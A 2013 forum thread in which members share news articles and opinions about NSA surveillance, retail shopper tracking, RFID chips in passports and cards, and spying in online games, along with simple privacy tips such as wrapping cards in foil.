The slide leaked by NRC also reveals that, aside from CNEs, NSA has access to large Internet cables at 20 different locations, most of them outside the U.S.; runs over 80 regional Special Collection Service (SCS) installations that are part of a joint CIA-NSA program used for close surveillance operations and wiretapping; maintains liaison with 30 third-party countries outside of the Five Eyes; and has access to 52 regional facilities dedicated to intercepting foreign satellite communications (FORNSAT).
 
Title: Re: they know what you are doing
Post by: sky otter on December 01, 2013, 08:15:30 am


everybody wants to know what you're doing... >:(

did you know that
when you shop some of the little magnetic tags in and on merchandise that makes the door security go off..
some of them now can  follow you home so they can see where you live..
i get into my car and pull them all off and out of the boxes and walk back to the store and toss them in the garbage can in front of the store

if i need to exchange anything all i really need is my reciept


http://www.huffingtonpost.com/2013/11/30/stores-track-you_n_4363811.html

New Technology Helps Stores Track Your Every Move This Season
AP  |  Posted: 11/30/2013 9:46 am EST

WASHINGTON (AP) — It's a big question for marketers: What kind of a buyer are you? And, as important, what are you willing to pay?

In the search for answers this shopping season, consumer behavior online and off is being tracked aggressively with help from advances in technology.

And it can happen whether buyers are on their work computers, mobile devices or just standing in the grocery aisle. The data can be connected with other personal information like income, ZIP code and when a person's car insurance expires.

Retailers say these techniques help customize shopping experiences and can lead to good deals for shoppers. Consumer advocates say aggressive tracking and profiling also opens the door to price discrimination, with companies charging someone more online or denying them entirely based on their home price or how often they visit a site.

"You can't have Christmas any more without big data and marketers," said Jeff Chester, executive director at the Center for Digital Democracy. "You know that song where Santa knows when you've been sleeping? He knows when you're awake? Believe me, that's where he's getting his information from."

Consumer tracking has long been a part of American consumerism. Retailers push shoppers to sign up for loyalty cards, register purchased items for warranty programs and note ZIP codes to feed their mailing lists. Online stores and advertising services employ browser "cookies," the tiny bits of software code that can track a person's movements across the Internet, to analyze shoppers and present them with relevant pop-up ads.

More recently, marketers have developed increasingly sophisticated ways to combine offline and online data that creates detailed profiles of shoppers. They also are perfecting location-tracking technology as a means of attracting new customers and influencing shoppers as they wander through brick-and-mortar stores.

A major push encourages shoppers to agree to be tracked in exchange for a good deal. Brick-and-mortar stores used to balk at customers who used smartphones to compare prices at rival stores, but retailers like Target are now pushing their own mobile apps and offering in-store Wi-Fi. The mobile apps entice shoppers with coupon deals or ads as they move throughout a store, while in-store Wi-Fi is another way to track a consumer's online movements.

To further lure buyers, major holiday retailers, including Macy's, Best Buy and JCPenney, have partnered with the Shopkick mobile app. If shoppers turn on the app while in their store, they can be rewarded with discounts or song downloads for trying on clothes, scanning barcodes and making purchases.

Another app, Snapette, blends American's addiction to social media sites with location technology. Aimed at women keen on fashion, consumers can see what accessories or shoes are creating a buzz in their particular neighborhood, while stores get a chance to entice nearby shoppers with ads or coupons.

Not all new technology tracking is voluntary. Stores have been experimenting with heat sensors and monitoring cellphone signals in their stores to see which aisles attract the most attention. One product called "Shopperception" uses the same motion-detection technology in the Xbox Kinect to track a customer's movement, including whether they picked up a product only to return it to the shelf. In addition to analyzing customer behavior, it can trigger nearby digital signs offering coupons and steering shoppers to certain products.

The company contends that the technology is less intrusive than other tracking devices, including security cameras, because a person's image is never stored and their movements only registered as a data point.

Marketers also are learning to overcome limitations with software cookies. One tech startup called Drawbridge claims to have found a way to link a person's laptop and mobile device by analyzing their movements online, enabling advertisers to reach the same consumer whether they're on their work computer or smartphone.

But how all that information is used and where it ends up is still unclear. The Federal Trade Commission, along with several lawmakers, has been investigating the "data broker" industry, companies that collect and sell information on individuals by pooling online habits with other information like court records, property taxes, even income. The congressional Government Accountability Office concluded in November that existing laws have fallen behind the pace of technological advancements in the industry, which enables companies to aggregate large amounts of data without a person's knowledge or ability to correct errors.


"There are lots of potential uses of information that are not revealed to consumers," said Susan Grant, director of consumer protection at the Consumer Federation of America. To protect themselves, "consumers still need to do quite a bit of shopping to make sure that they get (what) meets their needs the best and is the best price."

Title: Re: they know what you are doing
Post by: ArMaP on December 01, 2013, 08:29:06 am
everybody wants to know what you're doing... >:(

did you know that
when you shop some of the little magnetic tags in and on merchandise that makes the door security go off..
some of them now can  follow you home so they can see where you live..
i get into my car and pull them all off and out of the boxes and walk back to the store and toss them in the garbage can in front of the store

if i need to exchange anything all i really need is my reciept
How can that work without the person having a reading mechanism at home? ???
Title: Re: they know what you are doing
Post by: Ellirium113 on December 01, 2013, 09:08:19 am

everybody wants to know what you're doing... >:(

did you know that
when you shop some of the little magnetic tags in and on merchandise that makes the door security go off..
some of them now can  follow you home so they can see where you live..
i get into my car and pull them all off and out of the boxes and walk back to the store and toss them in the garbage can in front of the store

if i need to exchange anything all i really need is my reciept

Gee I hope you paid CASH for it or that was a complete waste of time.  ;)
Title: Re: they know what you are doing
Post by: sky otter on December 01, 2013, 10:54:26 am

yes i pay cash for everything..just call me paranoid.. ;)

and i don't know how they work.. only that they track..it was someone who worked in management in a store.....i don't even know if i should believe it...

ok.. i had to go look it up, of course..
thinking that the person who told me was telling me about the future and not the present
so while i still don't know the answer i do have more info on stuff..lol..




http://us.norton.com/yoursecurityresource/detail.jsp?aid=rfid

RFID Chips and Your Privacy
Mary O. Foley
Find Under: New Targets
You probably aren’t aware of it, but some of today’s most modern conveniences are provided by tiny computer chips. For example, you may have a gadget in your car that automatically pays a toll bridge fee as you drive through the toll booth. This is accomplished with a computer chip. Or you may use a security card to gain access to your office building. This, too, is made possible by a computer chip.

Many of these computer chips communicate information about your purchases, your credit card numbers, and even your identity. These special chips are a type known as radio frequency identification (RFID). The chips send data over radio signals to special antennas, or "readers." From there, the data goes into a computer database.

RFID chips are embedded into a growing number of items you have in your wallet or in your car, and they may soon be added to items you buy in stores. RFID chips are increasingly being used in payment systems, such as charge cards and gas station express payment fobs. Many people appreciate the convenience because it eliminates the step of swiping a charge card. Instead, you merely wave your wallet or key chain over a scanner. In addition, since 2006, U.S. passports contain these chips, which hold a digital image of the passport holder. Some states are requiring that driver’s licenses feature the technology, too.

As the chips get smaller -- some are no bigger than a grain of rice -- and cheaper, companies such as Procter & Gamble, General Motors and others are experimenting with installing them in products sold in stores. Experts predict that someday you will go to a supermarket, load your cart with goods tagged with RFID chips, and walk out the door without having your items rung up by a cashier. The price of the goods will be automatically tallied and deducted from your RFID-enabled credit card simply by walking past a bank of antennas.

Convenience Versus Security
While RFID technology allows faster commuting or more convenient shopping, it may also allow others to know more than they should about you. The fact that these chips can be scanned invisibly, and can carry so much private data, has triggered concerns that personal information could fall into the wrong hands. Some privacy advocates deride the technology as “spychips,” asserting that any person with an RFID reader, standing in the right place, could pilfer the data for reasons ranging from identity theft to government surveillance.

“There is a threat to individuals, and to our society,” argues Ari Schwartz, deputy director of the Center for Democracy and Technology (CDT), a nonprofit civil liberties advocacy group. Those at risk of being stalked, such as victims of domestic violence or law enforcement officials, could be most vulnerable, he says. As for society, over time, the use of this technology could cost Americans their civil liberties. “We could find ourselves living in a ‘Minority Report’ kind of world,” he warns, referring to the 2002 movie about government surveillance gone awry.

But RFID proponents note that all new technologies have their detractors. “Many of these same arguments were raised with barcodes,” notes Mark Roberti, editor of RFID Journal magazine. “There are probably 30 to 40 million people in the U.S. every day who carry RFID transponders on their body or in their car and there has never been a single instance of anyone having their privacy infringed,” he claims.

Moreover, some IT security experts note that the risk of eavesdropping is much greater over a cell phone, which has its own power source -- unlike most RFID chips -- and can be tracked over many miles instead of simply a few feet.

How to Foil RFID Chips
Since RFID chips are likely to become more prevalent, we need to be aware of the risks. If you want to evade trackers, Roberti offers the following tips:


Wrap a piece of foil around your charge card, key fob, passport or other chip-containing item when not in use. This will block the radio signal.



Smash the chip with a blunt object.



Jolt the chip with static electricity.



Physically remove the chip yourself.


CDT’s Schwartz adds that some companies, such as GM, are responding to consumer concerns by developing information for their owner’s manuals or product labels about how to disable or remove RFID chips. Schwartz says: “In terms of protecting consumers, we see this as progress.”

Most experts say that there is little immediate risk to consumers from the current uses of RFID chips for toll collection, payment systems, and identification. In fact, there may in fact be benefits in terms of the convenience of use. But it is a good idea for consumers to be aware of developments of this new technology so that they can best protect themselves.






http://electronics.howstuffworks.com/gadgets/high-tech-gadgets/rfid.htm
Outside the realm of retail merchandise, RFID tags are tracking vehicles, airline passengers, Alzheimer's patients and pets. Soon, they may even track your preference for chunky or creamy peanut butter. Some critics say RFID technology is becoming too much a part of our lives -- that is, if we're even aware of all the parts of our lives that it affects.

In this article, you'll learn about the types of RFID tags and how these tags can be tracked through the entire supply chain. We'll also look at the noncommercial uses of RFID tags and how the Departments of State and Homeland Security are using them. Lastly, we'll examine what some critics consider an Orwellian application of RFID tags in animals, humans and our society.
Title: Re: they know what you are doing
Post by: zorgon on December 01, 2013, 11:51:54 am


when you shop some of the little magnetic tags in and on merchandise that makes the door security go off..
some of them now can  follow you home so they can see where you live..
i get into my car and pull them all off and out of the boxes and walk back to the store and toss them in the garbage can in front of the store

Those magnetic strips get deactivated when you pay. The checkout counter has a Degaussing device. If it wasn't deactivated it would set of the scanner when you went out :D

I used to install such systems.

If you want to have fun... pull some out before you check out and stick them to shopping carts :P

 :o

Title: Re: they know what you are doing
Post by: PLAYSWITHMACHINES on December 01, 2013, 11:59:29 am
Quite right, Sky :D Gold!

FYI, the RFID passport was introduced over here in 2005, and was hacked by students in 2006. They are supposed to be readable from a foot away or less, but you can actually scan them from 30 feet...........

This was proven & we told the gubmint about it, yet they still issue them ::)

Yes a high voltage or even 20 seconds in a microwave will kill them, although expect problems at the border, they will want to know why it isn't working....

The correct response of course, is;
"Why isn't WHAT working?"

Since they (like the UK) never told us about them till after the fact.......

They won't even tell us exactly WHAT is stored on the chip, they say it's just the same info as in the passport, but who knows?

ETA: OK not the magnetic or coil tags :P

Interesting little fact; Your photo is in there too, albeit very grainy, it is stored as a 3-d profile of your face, difficult for humans but dead easy recognition for computers as it maps the contours of your face, not the actual fine details.......

Big Brother, we know all your tricks, & we don't give a sh**.............. :P

TIP: If you want to protect your identity, line your wallet / passport in tin foil ;)

ETA: get a tin foil hat while your about it... ::)
Title: Re: they know what you are doing
Post by: sky otter on December 01, 2013, 01:23:52 pm


thanks pwm..even my 91+ mom has the alum foil..

and Z..yeah i may be un-techie but i know how THOSE work ;D

but what i was told was that they have a newer version where they look the same
and  scan only the part that turns off the door security.... but follows the direction you are heading for home.
don't know how far it tracks.. maybe they only want to know if you go to another store..
don't know..
but the idea pisses me off...so i just toss em asap

i am fortunate enough to have a newer chevy but it has that onstar in it..
pssssssss..one wire in the truck takes care of that..
and i am told that if you pull it out they can ??????
but hey.. i haul long things that poke all kinds of places.. coulda happened any time

yes -- call me paranoid or just plain ass annoyed..
 :-*
Title: Re: they know what you are doing
Post by: PLAYSWITHMACHINES on December 01, 2013, 02:09:11 pm
Quote
yes -- call me paranoid or just plain ass annoyed..

I'm with you all the way, Sister 8)
Title: Re: they know what you are doing
Post by: sky otter on December 02, 2013, 02:42:06 pm


http://www.theguardian.com/world/2013/dec/02/edward-snowden-un-investigation-surveillance

Edward Snowden revelations prompt UN investigation into surveillance
UN's senior counter-terrorism official says revelations 'are at the very apex of public interest concerns'
Nick Hopkins and Matthew Taylor

The Guardian, Monday 2 December 2013 13.28 EST

Ben Emmerson: 'The Guardian has revealed an extensive programme of surveillance which potentially affects every one of us.' Photograph: Sarah Lee for the Guardian


The UN's senior counter-terrorism official is to launch an investigation into the surveillance powers of American and British intelligence agencies following Edward Snowden's revelations that they are using secret programmes to store and analyse billions of emails, phone calls and text messages.

The UN special rapporteur Ben Emmerson QC said his inquiry would also seek to establish whether the British parliament had been misled about the capabilities of Britain's eavesdropping headquarters, GCHQ, and whether the current system of oversight and scrutiny was strong enough to meet United Nations standards.

The inquiry will make a series of recommendations to the UN general assembly next year.

In an article for the Guardian, Emmerson said Snowden had disclosed "issues at the very apex of public interest concerns". He said the media had a duty and right to publish stories about the activities of GCHQ, and its American counterpart the National Security Agency.

"The astonishing suggestion that this sort of responsible journalism can somehow be equated with aiding and abetting terrorism needs to be scotched decisively," said Emmerson, who has been the UN's leading voice on counter-terrorism and human rights since 2011.

"It is the role of a free press to hold governments to account, and yet there have even been outrageous suggestions from some Conservative MPs that the Guardian should face a criminal investigation. It has been disheartening to see some tabloids giving prominence to this nonsense."

Emmerson's intervention comes ahead of Tuesday's hearing of the home affairs select committee, which is conducting its own inquiry into counter-terrorism.

The Guardian's editor in chief, Alan Rusbridger, will give evidence to MPs on the committee on Tuesday afternoon, followed by the Metropolitan police commissioner, Sir Bernard Hogan-Howe, and assistant commissioner Cressida Dick.

Over the last six months the Guardian, along with other international media organisations, has revealed the existence of mass surveillance programmes, such as GCHQ's Tempora, which taps into the cables that carry internet traffic in and out of the UK.

Last month, the heads of Britain's three intelligence agencies, MI5, GCHQ and MI6, gave evidence before parliament's intelligence and security committee.

During a 90-minute hearing, they accused Snowden of leaking material that had been "a gift to terrorists".

But Emmerson said such claims "need to be subjected to penetrating scrutiny".

He said his inquiry will be requiring further testimony from GCHQ's director, Sir Iain Lobban, the director of MI5, Andrew Parker, and MI6 chief Sir John Sawers.

"I will be seeking a far more detailed explanation than security chiefs gave the (ISC) committee. They must justify some of the claims they have made in public, because as matters stand, I have seen nothing in the Guardian articles which could be a risk to national security. In this instance, the balance of public interest is clear."

He added: "When it comes to assessing the balance that must be struck between maintaining secrecy and exposing information in the public interest there are often borderline cases. This isn't one of them. The Guardian's revelations are precisely the sort of information that a free press is supposed to reveal."



Emmerson said nobody had suggested the Mail on Sunday should be prosecuted when it published revelations from the former MI5 officer, David Shayler, and that the attorney general had rightly abandoned a prosecution against Katharine Gun, the GCHQ whistleblower who in 2003 revealed the US and UK were trying to manipulate a vote at the UN security council in favour of military intervention in Iraq.

No jury would ever have convicted her even though she had broken the Official Secrets Act, Emmerson said.

"The Guardian has revealed there is an extensive programme of mass surveillance which potentially affects every one of us, but has been assiduous in avoiding the revelation of any detail which could put sources at risk. The Mail on Sunday, on the other hand, published material that was of less obvious public interest."

Emmerson said the Snowden disclosures had caused reverberations across the world.

"There can be no doubt the revelations concern matters of international public interest. Wholescale reviews have been mooted by President Obama, Chancellor Merkel and Nick Clegg. In the US, a number of the revelations have already resulted in legislation.

"In Europe, the political class is incandescent. Many states have registered serious objections at the UN, and there are diplomatic moves towards an international agreement to restrict surveillance activity."

Chaired by Keith Vaz, the home affairs select committee called for the Guardian to give evidence following the ISC hearing.

However, a number of civil liberties groups and campaigners have raised concerns about the intense political pressure put on the Guardian, and condemned the UK government's demand that it destroy the Snowden files it was researching in the UK.

The freedom of expression group Article 19 and the Open Rights Group are among two signatories to a letter sent to Vaz ahead of Tuesday's session. They describe their deep concerns that the review of the Guardian "could restrict media freedom in the UK by discouraging future reporting on important matters of public interest".

The letter calls on MPs to take into account "international human rights standards, and in particular those that relate to the right to freedom of expression and media freedom".
Title: Re: they know what you are doing
Post by: Ellirium113 on December 02, 2013, 03:38:14 pm
This might be a bit old but is relevent to this:

[youtube]http://www.youtube.com/watch?v=X034R3yzDhw[/youtube]
Title: Re: they know what you are doing
Post by: sky otter on December 04, 2013, 05:30:50 pm

hey Ellirium...i like those guys..thanks...i guess none of those folks wants the info out there..




http://www.huffingtonpost.com/2013/12/04/nsa-cellphone-records_n_4386808.html

NSA TRACKING CELLPHONES WORLDWIDE

NSA Tracking Billions Of Cellphone Records Daily: Report
By KIMBERLY DOZIER 12/04/13 06:19 PM ET EST 

WASHINGTON (AP) — The National Security Agency tracks the locations of nearly 5 billion cellphones every day overseas, including those belonging to Americans abroad, The Washington Post reported Wednesday.

The NSA inadvertently gathers the location records of "tens of millions of Americans who travel abroad" annually, along with the billions of other records it collects by tapping into worldwide mobile network cables, the newspaper said in a report on its website.

Such data means the NSA can track the movements of almost any cellphone around the world, and map the relationships of the cellphone user. The Post said a powerful analytic computer program called CO-TRAVELER crunches the data of billions of unsuspecting people, building patterns of relationships between them by where their phones go. That can reveal a previously unknown terrorist suspect, in guilt by cellphone-location association, for instance.

The program is detailed in documents given to the newspaper by former NSA systems analyst Edward Snowden. The Post also quotes anonymous NSA officials explaining the program, saying they spoke with the permission of their agency.

Shawn Turner, a spokesman for the Office of the Director of National Intelligence, declined to comment on the report.

The DNI's general counsel, Robert Litt, has said that NSA does not gather location data on U.S. cellphones inside the U.S. — but NSA Director Keith Alexander testified before Congress his agency ran tests in 2010 and 2011 to see if it was technically possible to gather such U.S. cell-site data. Alexander said that the information was never used for intelligence purposes and that the testing was reported to congressional intelligence committees.

But Sen. Ron Wyden, D-Ore., a member of the Senate Intelligence Committee, said at the time that Alexander could have explained more. "The intelligence leadership has decided to leave most of the real story secret," Wyden said, though he would not elaborate on the extent of the program. Wyden is among a bipartisan group of lawmakers who have introduced legislation to trim NSA's surveillance powers.

Alexander and other NSA officials have explained that when U.S. data is gathered "incidentally" overseas, it is "minimized," meaning that when an NSA analysts realize they are dealing with a U.S. phone number, they limit what can be done with it and how long that data can be kept.

Rights activists say those measures fall short of protecting U.S. privacy.

"The scale of foreign surveillance has become so vast, the amount of information about Americans 'incidentally' captured may itself be approaching mass surveillance levels,'" said Elizabeth Goitein of the Brennan Center for Justice's Liberty and National Security Program.

"The government should be targeting its surveillance at those suspected of wrongdoing, not assembling massive associational databases that by their very nature record the movements of a huge number of innocent people," said Catherine Crump, a staff attorney for the American Civil Liberties Union.

___

Online:

http://apps.washingtonpost.com/g/page/national/how-the-nsa-is-tracking-people-right-now/634/
Title: Re: they know what you are doing
Post by: Amaterasu on December 04, 2013, 06:19:40 pm
I love the word, "inadvertently."  Yeah.  Riiiiight.
Title: Re: they know what you are doing
Post by: sky otter on December 05, 2013, 06:57:33 pm



ok.. i hafta make this comment..America is not sending this into space..a bunch of dickheads who got our tax money are.....no one voted  or was ask if they should get money or what they should do with it..grrrrrrrrrrrrrrrrrrrrrrrrrrrrrr >:(



http://www.huffingtonpost.com/2013/12/05/nro-satellite-logo_n_4394577.html



(http://i58.servimg.com/u/f58/13/55/53/83/bawj5t10.jpg)


America Is Launching A Giant, World-Sucking Octopus Into Space

 The Huffington Post  |  By Matt Sledge
Posted: 12/05/2013 7:05 pm EST


One of the National Security Agency's partners is launching a spy satellite with a classified payload into space on Thursday night -- and its logo is an angry, globe-gripping octopus.

The spacecraft, being rocketed into the sky by an Atlas V rocket from Vandenberg Air Force Base, carries a payload from the National Reconnaissance Office. Far less well-known than the NSA, the NRO has a budget that is only a shade smaller -- $10.3 billion a year -- and provides satellite-based surveillance capabilities.

(http://i58.servimg.com/u/f58/13/55/53/83/n-nro-10.jpg)
Office of the DNI        ? @ODNIgov
Follow
Ready for launch? An Atlas 5 will blast off at just past 11PM, PST carrying an classified NRO payload (also cubesats)

4:40 PM - 5 Dec 2013
36 Retweets 9 favorites


"Nothing is beyond our reach," reads a motto beneath the world-sucking cephalopod. The logo is the latest in a long line of patches produced for classified military missions that are equal parts menacing and mysterious.

The Office of the Director of National Intelligence, which also oversees the NSA, tweeted pictures of the launch preparation. That spurred Christopher Soghoian, of the American Civil Liberties Union, to give the spooks some free advice: "You may want to downplay the massive dragnet spying thing right now. This logo isn't helping."
[/size]
Title: Re: they know what you are doing
Post by: Amaterasu on December 05, 2013, 07:09:34 pm
Frankly, if Our money pays for it, it is Ours to know.

Classified cargo, My rump.  WHAT are They payloading???
Title: Re: they know what you are doing
Post by: zorgon on December 06, 2013, 03:10:22 am
Frankly, if Our money pays for it, it is Ours to know.
Classified cargo, My rump.  WHAT are They payloading???

You don't have a need to know :P

But I will see if I can ask at Vandenburg and see what they will tell me :D
Title: Re: they know what you are doing
Post by: Amaterasu on December 06, 2013, 08:52:59 am
With THAT patch...  I think I VERY much have a need to know!  Because it does suggest that things will be done against Me that I do not consent to.

Yeah, I want to know what that is all about.
Title: Re: they know what you are doing
Post by: Pimander on December 06, 2013, 10:32:12 am
NSA 'tracking' hundreds of millions of mobile phones

Almost five billion mobile phone location records are logged by the NSA every day, reports the Washington Post.

(http://news.bbcimg.co.uk/media/images/71541000/jpg/_71541807_018535833-1.jpg)

The data is said to help the NSA track individuals, and map who they know, to aid the agency's anti-terror work.

The "dragnet surveillance" was condemned by digital rights groups who called for the NSA's snooping efforts to be reined in.

The news comes as Microsoft plans to use more encryption to thwart NSA spying on it and its customers.

http://www.bbc.co.uk/news/technology-25231757
Title: Re: they know what you are doing
Post by: Somamech on December 06, 2013, 10:54:37 am
This VERY Kreepy data monitoring would be cool if put to a good purpose.

Unfortunatley it seem's not. 
Title: Re: they know what you are doing
Post by: sky otter on December 07, 2013, 12:41:58 pm


WHAT !!! ok now i am really pissed


://www.huffingtonpost.com/2013/12/06/att-nsa-surveillance_n_4399517.html?ref=topbar

AT&T Says It Doesn't Need To Disclose All NSA Data Requests
AP  |  By By MARTHA MENDOZA Posted: 12/06/2013 12:48 pm EST





SAN JOSE, Calif. (AP) — AT&T, under fire for ongoing revelations that it shares and sells customers' communications records to the National Security Agency and other U.S. intelligence offices,

Sales to nsa..this is the first I have read about money involved..it’s getting worse..now they are paying to spy on us with our money..oh grrrrrrr

says it isn't required to disclose to shareholders what it does with customers' data.In a letter sent Thursday to the Securities and Exchange Commission, AT&T said it protects customer information and complies with government requests for call records "only to the extent required by law."

The telecom giant's letter was a response to a shareholder revolt sparked on Nov. 20 by the New York State Common Retirement Fund, the ACLU of Northern California and others. The groups are demanding that AT&T and Verizon be more transparent about their dealings with the NSA.

In the letter, AT&T said information about assisting foreign intelligence surveillance activities is almost certainly classified. The company said it should not have to address the issue at its annual shareholders meeting this spring.

Nicole Ozer, technology and civil liberties policy director at the ACLU of Northern California said AT&T has overstepped its bounds.

"It's outrageous that AT&T is trying to block the shareholder proposal," she said. "Customers have a right to know how often their private information is ending up in the government's hands."

After the Sept. 11 terror attacks, U.S agencies established a warrantless program to monitor phone calls and e-mail between individuals in the United States and other countries who are suspected of having links to terrorism. But disclosures in recent weeks from former intelligence contractor Edward Snowden have exposed the breadth and depth of U.S. government surveillance programs on the Internet and over other telecommunications networks. The Washington Post reported this week that the NSA tracks locations of nearly 5 billion cellphones every day overseas, including those of Americans.

Companies are responding to the revelations in a variety of ways. Tech firms including Yahoo and Google are pushing back, adding encryption, filing motions in the FISA court, and arguing that the NSA is overstepping its bounds.

But telecommunications firms appear to be cooperating fully.

"AT&T has not made it clear to investors or customers what data it shares or with whom. Customers should not be the last to know how their personal information is being used by governmental agencies," said New York State Comptroller Thomas DiNapoli.

DiNapoli co-signed the AT&T shareholder resolution on behalf of the New York State Common Retirement Fund, which holds assets totaling about $161 billion. The fund owns more than 15 million shares of AT&T valued at roughly $517 million.

"Customer trust is critical for any business, but nowhere is it more so than for those corporations that handle our personal data and communications," DiNapoli said.

---

Follow Martha Mendoza at https://twitter.com/mendozamartha.
Title: Re: they know what you are doing
Post by: Ellirium113 on December 07, 2013, 01:16:02 pm
Simple Wi-Fi hotspot coverage, or state of the art spy grid? Here's some food for thought.  ???

[youtube]http://www.youtube.com/watch?v=ARRMyLFrXUE[/youtube]

Through-the-Wall Sensing of Personnel Using Passive Bistatic WiFi Radar at Standoff Distances


Quote
In this paper, we investigate the feasibility of uncooperatively and covertly detecting people moving behind walls using passive bistatic WiFi radar at standoff distances. A series of experiments was conducted which involved personnel targets moving inside a building within the coverage area of a WiFi access point. These targets were monitored from outside the building using a 2.4-GHz passive multistatic receiver, and the data were processed offline to yield range and Doppler information. The results presented show the first through-the-wall (TTW) detections of moving personnel using passive WiFi radar. The measured Doppler shifts agree with those predicted by bistatic theory. Further analysis of the data revealed that the system is limited by the signal-to-interference ratio (SIR), and not the signal-to-noise ratio. We have also shown that a new interference suppression technique based on the CLEAN algorithm can improve the SIR by approximately 19 dB. These encouraging initial findings demonstrate the potential for using passive WiFi radar as a low-cost TTW detection sensor with widespread applicability.

http://ieeexplore.ieee.org/xpl/articleDetails.jsp?arnumber=6020778 (http://ieeexplore.ieee.org/xpl/articleDetails.jsp?arnumber=6020778)

As WiFi gains more and more global coverage think of the implications of this technology on the already mind boggling array of NSA spying toys...

http://www.prisonplanet.com/security-expert-the-nsa-has-everyone-under-constant-surveillance.html (http://www.prisonplanet.com/security-expert-the-nsa-has-everyone-under-constant-surveillance.html)
Title: Re: they know what you are doing
Post by: sky otter on December 09, 2013, 09:23:06 am


i'm sure Undo already knows about this..but grrrrrrrr anyhow >:(


http://www.nytimes.com/2013/12/10/world/spies-dragnet-reaches-a-playing-field-of-elves-and-trolls.html?_r=0

Spies’ Dragnet Reaches a Playing Field of Elves and Trolls


Not limiting their activities to the earthly realm, American and British spies have infiltrated the fantasy worlds of World of Warcraft and Second Life, conducting surveillance and scooping up data in the online games played by millions of people across the globe, according to newly disclosed classified documents.
Fearing that terrorist or criminal networks could use the games to communicate secretly, move money or plot attacks, the documents show, intelligence operatives have entered terrain populated by digital avatars that include elves, gnomes and supermodels.



The spies have created make-believe characters to snoop and to try to recruit informers, while also collecting data and contents of communications between players, according to the documents, disclosed by the former National Security Agency contractor Edward J. Snowden. Because militants often rely on features common to video games — fake identities, voice and text chats, a way to conduct financial transactions — American and British intelligence agencies worried that they might be operating there, according to the papers.



Online games might seem innocuous, a top-secret 2008 N.S.A. document warned, but they had the potential to be a “target-rich communication network” allowing intelligence suspects “a way to hide in plain sight.” Virtual games “are an opportunity!” another 2008 N.S.A. document declared.

But for all their enthusiasm — so many C.I.A., F.B.I. and Pentagon spies were hunting around in Second Life, the document noted, that a “deconfliction” group was needed to avoid collisions — the intelligence agencies may have inflated the threat.



The documents do not cite any counterterrorism successes from the effort, and former American intelligence officials, current and former gaming company employees and outside experts said in interviews that they knew of little evidence that terrorist groups viewed the games as havens to communicate and plot operations.

Games “are built and operated by companies looking to make money, so the players’ identity and activity is tracked,” said Peter W. Singer of the Brookings Institution, an author of “Cybersecurity and Cyberwar: What Everyone Needs to Know.” “For terror groups looking to keep their communications secret, there are far more effective and easier ways to do so than putting on a troll avatar.”



The surveillance, which also included Microsoft’s Xbox Live, could raise privacy concerns. It is not clear exactly how the agencies got access to gamers’ data or communications, how many players may have been monitored or whether Americans’ communications or activities were captured.

One American company, the maker of World of Warcraft, said that neither the N.S.A. nor its British counterpart, the Government Communications Headquarters, had gotten permission to gather intelligence in its game. Many players are Americans, who can be targeted for surveillance only with approval from the nation’s secret intelligence court. The spy agencies, though, face far fewer restrictions on collecting certain data or communications overseas.



"We are unaware of any surveillance taking place," said a spokesman for Blizzard Entertainment, based in Irvine, Calif., which makes World of Warcraft. "If it was, it would have been done without our knowledge or permission." 



A spokeswoman for Microsoft declined to comment. Philip Rosedale, the founder of Second Life and a former chief executive officer of Linden Lab, the game’s maker, declined to comment on the spying revelations. Current Linden executives did not respond to requests for comment.

A Government Communications Headquarters spokesman would neither confirm nor deny any involvement by that agency in gaming surveillance, but said that its work is conducted under “a strict legal and policy framework” with rigorous oversight. An N.S.A. spokeswoman declined to comment.

Intelligence and law enforcement officials became interested in games after some became enormously popular, drawing tens of millions of people worldwide, from preteens to retirees. The games rely on lifelike graphics, virtual currencies and the ability to speak to other players in real time. Some gamers merge the virtual and real worlds by spending long hours playing and making close online friends.

1
2 3
Next Page »
Andrew W. Lehren contributed reporting. Justin Elliot is a reporter for ProPublica



last part

In spring 2009, academics and defense contractors gathered at the Marriott at Washington Dulles International Airport to present proposals for a government study about how players’ behavior in a game like World of Warcraft might be linked to their real-world identities. “We were told it was highly likely that persons of interest were using virtual spaces to communicate or coordinate,” said Dmitri Williams, a professor at the University of Southern California who received grant money as part of the program.

After the conference, both SAIC and Lockheed Martin won contracts worth several million dollars, administered by an office within the intelligence community that finances research projects.

It is not clear how useful such research might be. A group at the Palo Alto Research Center, for example, produced a government-funded study of World of Warcraft that found “younger players and male players preferring competitive, hack-and-slash activities, and older and female players preferring noncombat activities,” such as exploring the virtual world. A group from the nonprofit SRI International, meanwhile, found that players under age 18 often used all capital letters both in chat messages and in their avatar names.

Those involved in the project were told little by their government patrons. According to Nick Yee, a Palo Alto researcher who worked on the effort, “We were specifically asked not to speculate on the government’s motivations and goals.”

« Previous Page 1 2 3
Andrew W. Lehren contributed reporting. Justin Elliot is a reporter for ProPublica.



Title: Re: they know what you are doing
Post by: thorfourwinds on December 09, 2013, 09:56:45 pm
[youtube]CP1j04_X4Oo[/youtube]

How to see what government agency is spying on your phone - YouTube (http://www.youtube.com/watch?v=CP1j04_X4Oo)

Published on Dec 9, 2013
To check your phone check out http://ismyipdirty.com/

In this video Alex Heid, information security consultant shows you
how to see what government agency is spying on your cell phones unique IP address.



(http://i1073.photobucket.com/albums/w400/thorfourwinds/StarbuckSpybot.jpg)


(http://www.thelivingmoon.com/gallery/albums/userpics/10005/Thor_godThunder-300.jpg)


Title: Re: they know what you are doing
Post by: sky otter on December 10, 2013, 08:37:31 pm


http://www.huffingtonpost.com/2013/12/10/nsa-reach_n_4420939.html

 

  The NSA's Reach Might Be Even Bigger Than We Thought


Posted: 12/10/2013 4:26 pm EST  |  Updated: 12/10/2013 6:01 pm EST

Matt Sledge



The National Security Agency's court-approved authority to access and analyze phone records three "hops" away from a suspected terrorist's phone number has alarmed civil liberties groups like the ACLU, which estimated that just one starting number could yield 2.5 million people's phone records.

Now, new research from Stanford graduate students Jonathan Mayer and Patrick Mutchler suggests that the NSA's dragnet could be bigger -- much bigger.

"Under current FISA Court orders, the NSA may be able to analyze the phone records of a sizable proportion of the United States population with just one seed number," they wrote in a blog post published Monday. "And by the way, there are tens of thousands of qualified seed numbers."

Under the rules approved by the Foreign Intelligence Surveillance Court, the agency's broad-reaching phone metadata collection program can only sift through details on who Americans called and when if the caller is three or fewer degrees of separation, or "hops," from a number suspected of associations with terrorism.

That will yield 2.5 million people's records alone if, as the ACLU assumed, the average person has 40 phone contacts. But Mayer and Mutchler say that between voicemail, spam robocalls and calling services like Skype, many of us are connected by just a small set of phone numbers.

